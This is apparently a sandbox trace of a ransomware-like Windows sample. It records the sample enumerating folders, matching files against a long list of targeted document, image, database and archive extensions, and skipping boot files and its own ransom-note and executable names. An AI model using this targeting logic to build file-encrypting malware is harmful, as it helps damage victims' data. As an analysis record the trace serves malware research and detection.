	[0060.249] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".dc3") returned 4
	[0060.249] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".dcm") returned 4
	[0060.249] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".dcr") returned 4
	[0060.249] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".der") returned 4
	[0060.249] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".dib") returned 4
	[0060.249] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".dic") returned 4
	[0060.249] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".dif") returned 4
	[0060.249] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0060.249] lstrlenW (lpString=".divx") returned 5
	[0060.250] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1
	[0060.250] lstrlenW (lpString=".djvu") returned 5
	[0060.250] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1
	[0060.250] lstrlenW (lpString=".dng") returned 4
	[0060.250] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0060.250] lstrlenW (lpString=".doc") returned 4
	[0060.250] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0060.250] lstrlenW (lpString=".docm") returned 5
	[0060.250] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1
	[0060.250] lstrlenW (lpString=".docx") returned 5
	[0060.250] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0060.250] lstrlenW (lpString=".dot") returned 4
	[0060.250] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0060.250] lstrlenW (lpString=".dotm") returned 5
	[0060.250] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1
	[0060.250] lstrlenW (lpString=".dotx") returned 5
	[0060.250] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1
	[0060.250] lstrlenW (lpString=".dpx") returned 4
	[0060.250] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0060.250] lstrlenW (lpString=".dqy") returned 4
	[0060.250] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0060.250] lstrlenW (lpString=".dsn") returned 4
	[0060.250] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1
	[0060.250] lstrlenW (lpString=".dt") returned 3
	[0060.250] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1
	[0060.250] lstrlenW (lpString=".dtd") returned 4
	[0060.250] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1
	[0060.250] lstrlenW (lpString=".dwg") returned 4
	[0060.250] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1
	[0060.250] lstrlenW (lpString=".dwt") returned 4
	[0060.251] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1
	[0060.251] lstrlenW (lpString=".dx") returned 3
	[0060.251] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1
	[0060.251] lstrlenW (lpString=".dxf") returned 4
	[0060.251] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1
	[0060.251] lstrlenW (lpString=".edml") returned 5
	[0060.251] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1
	[0060.251] lstrlenW (lpString=".efd") returned 4
	[0060.251] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1
	[0060.251] lstrlenW (lpString=".elf") returned 4
	[0060.251] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1
	[0060.251] lstrlenW (lpString=".emf") returned 4
	[0060.251] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1
	[0060.251] lstrlenW (lpString=".emz") returned 4
	[0060.251] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1
	[0060.251] lstrlenW (lpString=".epf") returned 4
	[0060.251] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1
	[0060.251] lstrlenW (lpString=".eps") returned 4
	[0060.251] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1
	[0060.251] lstrlenW (lpString=".epsf") returned 5
	[0060.251] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1
	[0060.251] lstrlenW (lpString=".epsp") returned 5
	[0060.251] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1
	[0060.251] lstrlenW (lpString=".erf") returned 4
	[0060.252] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".exr") returned 4
	[0060.252] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".f4v") returned 4
	[0060.252] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".fido") returned 5
	[0060.252] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1
	[0060.252] lstrlenW (lpString=".flm") returned 4
	[0060.252] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".flv") returned 4
	[0060.252] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".frm") returned 4
	[0060.252] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".fxg") returned 4
	[0060.252] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".geo") returned 4
	[0060.252] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".gif") returned 4
	[0060.252] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".grs") returned 4
	[0060.252] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".gz") returned 3
	[0060.252] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1
	[0060.252] lstrlenW (lpString=".h") returned 2
	[0060.252] lstrcmpiW (lpString1=".h", lpString2="og") returned -1
	[0060.252] lstrlenW (lpString=".hdr") returned 4
	[0060.252] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1
	[0060.252] lstrlenW (lpString=".hpp") returned 4
	[0060.253] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".hta") returned 4
	[0060.253] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".htc") returned 4
	[0060.253] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".htm") returned 4
	[0060.253] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".html") returned 5
	[0060.253] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1
	[0060.253] lstrlenW (lpString=".icb") returned 4
	[0060.253] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".ics") returned 4
	[0060.253] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".iff") returned 4
	[0060.253] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".inc") returned 4
	[0060.253] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".indd") returned 5
	[0060.253] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1
	[0060.253] lstrlenW (lpString=".ini") returned 4
	[0060.253] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".iqy") returned 4
	[0060.253] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".j2c") returned 4
	[0060.253] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".j2k") returned 4
	[0060.253] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1
	[0060.253] lstrlenW (lpString=".java") returned 5
	[0060.254] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1
	[0060.254] lstrlenW (lpString=".jp2") returned 4
	[0060.254] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".jpc") returned 4
	[0060.254] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".jpe") returned 4
	[0060.254] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".jpeg") returned 5
	[0060.254] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1
	[0060.254] lstrlenW (lpString=".jpf") returned 4
	[0060.254] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".jpg") returned 4
	[0060.254] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".jpx") returned 4
	[0060.254] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".js") returned 3
	[0060.254] lstrcmpiW (lpString1=".js", lpString2="log") returned -1
	[0060.254] lstrlenW (lpString=".jsf") returned 4
	[0060.254] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".json") returned 5
	[0060.254] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1
	[0060.254] lstrlenW (lpString=".jsp") returned 4
	[0060.254] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".kdc") returned 4
	[0060.254] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".kmz") returned 4
	[0060.254] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".kwm") returned 4
	[0060.254] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1
	[0060.254] lstrlenW (lpString=".lasso") returned 6
	[0060.255] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1
	[0060.255] lstrlenW (lpString=".lbi") returned 4
	[0060.255] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1
	[0060.255] lstrlenW (lpString=".lgf") returned 4
	[0060.255] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1
	[0060.255] lstrlenW (lpString=".lgp") returned 4
	[0060.255] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1
	[0060.255] lstrlenW (lpString=".log") returned 4
	[0060.255] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0
	[0060.255] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0060.255] lstrlenW (lpString=".GTF") returned 4
	[0060.255] lstrcmpiW (lpString1=".GTF", lpString2=".log") returned -1
	[0060.255] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0060.255] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1
	[0060.255] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1
	[0060.255] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0060.255] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0060.255] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0060.255] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0060.255] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0060.255] lstrcmpiW (lpString1="fvppjh.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0060.255] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0060.255] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0060.255] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0060.255] lstrlenW (lpString=".1cd") returned 4
	[0060.256] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0060.256] lstrlenW (lpString=".3ds") returned 4
	[0060.256] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0060.256] lstrlenW (lpString=".3fr") returned 4
	[0060.256] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0060.256] lstrlenW (lpString=".3g2") returned 4
	[0060.256] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0060.256] lstrlenW (lpString=".3gp") returned 4
	[0060.256] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0060.256] lstrlenW (lpString=".7z") returned 3
	[0060.256] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0060.256] lstrlenW (lpString=".accda") returned 6
	[0060.256] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1
	[0060.256] lstrlenW (lpString=".accdb") returned 6
	[0060.256] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1
	[0060.256] lstrlenW (lpString=".accdc") returned 6
	[0060.256] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1
	[0060.256] lstrlenW (lpString=".accde") returned 6
	[0060.256] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1
	[0060.256] lstrlenW (lpString=".accdt") returned 6
	[0060.256] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1
	[0060.256] lstrlenW (lpString=".accdw") returned 6
	[0060.256] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1
	[0060.256] lstrlenW (lpString=".adb") returned 4
	[0060.256] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0060.256] lstrlenW (lpString=".adp") returned 4
	[0060.256] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0060.256] lstrlenW (lpString=".ai") returned 3
	[0060.256] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0060.257] lstrlenW (lpString=".ai3") returned 4
	[0060.257] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0060.257] lstrlenW (lpString=".ai4") returned 4
	[0060.257] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0060.257] lstrlenW (lpString=".ai5") returned 4
	[0060.257] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0060.257] lstrlenW (lpString=".ai6") returned 4
	[0060.257] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0060.257] lstrlenW (lpString=".ai7") returned 4
	[0060.257] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0060.257] lstrlenW (lpString=".ai8") returned 4
	[0060.257] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0060.257] lstrlenW (lpString=".anim") returned 5
	[0060.257] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1
	[0060.257] lstrlenW (lpString=".arw") returned 4
	[0060.257] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0060.257] lstrlenW (lpString=".as") returned 3
	[0060.257] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0060.257] lstrlenW (lpString=".asa") returned 4
	[0060.257] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0060.257] lstrlenW (lpString=".asc") returned 4
	[0060.257] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0060.257] lstrlenW (lpString=".ascx") returned 5
	[0060.257] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1
	[0060.257] lstrlenW (lpString=".asm") returned 4
	[0060.257] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0060.257] lstrlenW (lpString=".asmx") returned 5
	[0060.257] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1
	[0060.257] lstrlenW (lpString=".asp") returned 4
	[0060.258] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0060.258] lstrlenW (lpString=".aspx") returned 5
	[0060.258] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1
	[0060.258] lstrlenW (lpString=".asr") returned 4
	[0060.258] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0060.258] lstrlenW (lpString=".asx") returned 4
	[0060.258] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0060.258] lstrlenW (lpString=".avi") returned 4
	[0060.258] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0060.258] lstrlenW (lpString=".avs") returned 4
	[0060.258] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0060.258] lstrlenW (lpString=".backup") returned 7
	[0060.258] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1
	[0060.258] lstrlenW (lpString=".bak") returned 4
	[0060.258] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0060.258] lstrlenW (lpString=".bay") returned 4
	[0060.258] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0060.258] lstrlenW (lpString=".bd") returned 3
	[0060.258] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0060.258] lstrlenW (lpString=".bin") returned 4
	[0060.258] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0060.258] lstrlenW (lpString=".bmp") returned 4
	[0060.258] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0060.258] lstrlenW (lpString=".bz2") returned 4
	[0060.258] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0060.258] lstrlenW (lpString=".c") returned 2
	[0060.258] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0060.258] lstrlenW (lpString=".cdr") returned 4
	[0060.259] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".cer") returned 4
	[0060.259] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".cf") returned 3
	[0060.259] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0060.259] lstrlenW (lpString=".cfc") returned 4
	[0060.259] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".cfm") returned 4
	[0060.259] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".cfml") returned 5
	[0060.259] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1
	[0060.259] lstrlenW (lpString=".cfu") returned 4
	[0060.259] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".chm") returned 4
	[0060.259] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".cin") returned 4
	[0060.259] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".class") returned 6
	[0060.259] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1
	[0060.259] lstrlenW (lpString=".clx") returned 4
	[0060.259] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".config") returned 7
	[0060.259] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1
	[0060.259] lstrlenW (lpString=".cpp") returned 4
	[0060.259] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".cr2") returned 4
	[0060.259] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".crt") returned 4
	[0060.259] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0060.259] lstrlenW (lpString=".crw") returned 4
	[0060.260] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".cs") returned 3
	[0060.260] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0060.260] lstrlenW (lpString=".css") returned 4
	[0060.260] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".csv") returned 4
	[0060.260] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".cub") returned 4
	[0060.260] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".dae") returned 4
	[0060.260] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".dat") returned 4
	[0060.260] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".db") returned 3
	[0060.260] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0060.260] lstrlenW (lpString=".dbf") returned 4
	[0060.260] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".dbx") returned 4
	[0060.260] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".dc3") returned 4
	[0060.260] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".dcm") returned 4
	[0060.260] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".dcr") returned 4
	[0060.260] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".der") returned 4
	[0060.260] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0060.260] lstrlenW (lpString=".dib") returned 4
	[0060.260] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0060.261] lstrlenW (lpString=".dic") returned 4
	[0060.261] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0060.261] lstrlenW (lpString=".dif") returned 4
	[0060.261] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0060.261] lstrlenW (lpString=".divx") returned 5
	[0060.261] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1
	[0060.261] lstrlenW (lpString=".djvu") returned 5
	[0060.261] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1
	[0060.261] lstrlenW (lpString=".dng") returned 4
	[0060.261] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0060.261] lstrlenW (lpString=".doc") returned 4
	[0060.261] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0060.261] lstrlenW (lpString=".docm") returned 5
	[0060.261] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1
	[0060.261] lstrlenW (lpString=".docx") returned 5
	[0060.261] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0060.261] lstrlenW (lpString=".dot") returned 4
	[0060.261] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0060.261] lstrlenW (lpString=".dotm") returned 5
	[0060.261] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1
	[0060.261] lstrlenW (lpString=".dotx") returned 5
	[0060.261] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1
	[0060.261] lstrlenW (lpString=".dpx") returned 4
	[0060.261] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0060.261] lstrlenW (lpString=".dqy") returned 4
	[0060.261] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0060.262] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0060.262] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0
	[0060.262] FindClose (in: hFindFile=0x739898 | out: hFindFile=0x739898) returned 1
	[0060.263] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0060.263] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0060.263] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0060.263] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21
	[0060.263] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x739898
	[0060.273] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.273] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0060.273] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18
	[0060.273] lstrlenW (lpString=".1cd") returned 4
	[0060.273] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0060.273] lstrlenW (lpString=".3ds") returned 4
	[0060.273] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0060.273] lstrlenW (lpString=".3fr") returned 4
	[0060.273] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0060.273] lstrlenW (lpString=".3g2") returned 4
	[0060.274] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0060.274] lstrlenW (lpString=".3gp") returned 4
	[0060.274] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0060.274] lstrlenW (lpString=".7z") returned 3
	[0060.274] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0060.274] lstrlenW (lpString=".accda") returned 6
	[0060.274] lstrcmpiW (lpString1=".accda", lpString2="BE.dll") returned -1
	[0060.274] lstrlenW (lpString=".accdb") returned 6
	[0060.274] lstrcmpiW (lpString1=".accdb", lpString2="BE.dll") returned -1
	[0060.274] lstrlenW (lpString=".accdc") returned 6
	[0060.274] lstrcmpiW (lpString1=".accdc", lpString2="BE.dll") returned -1
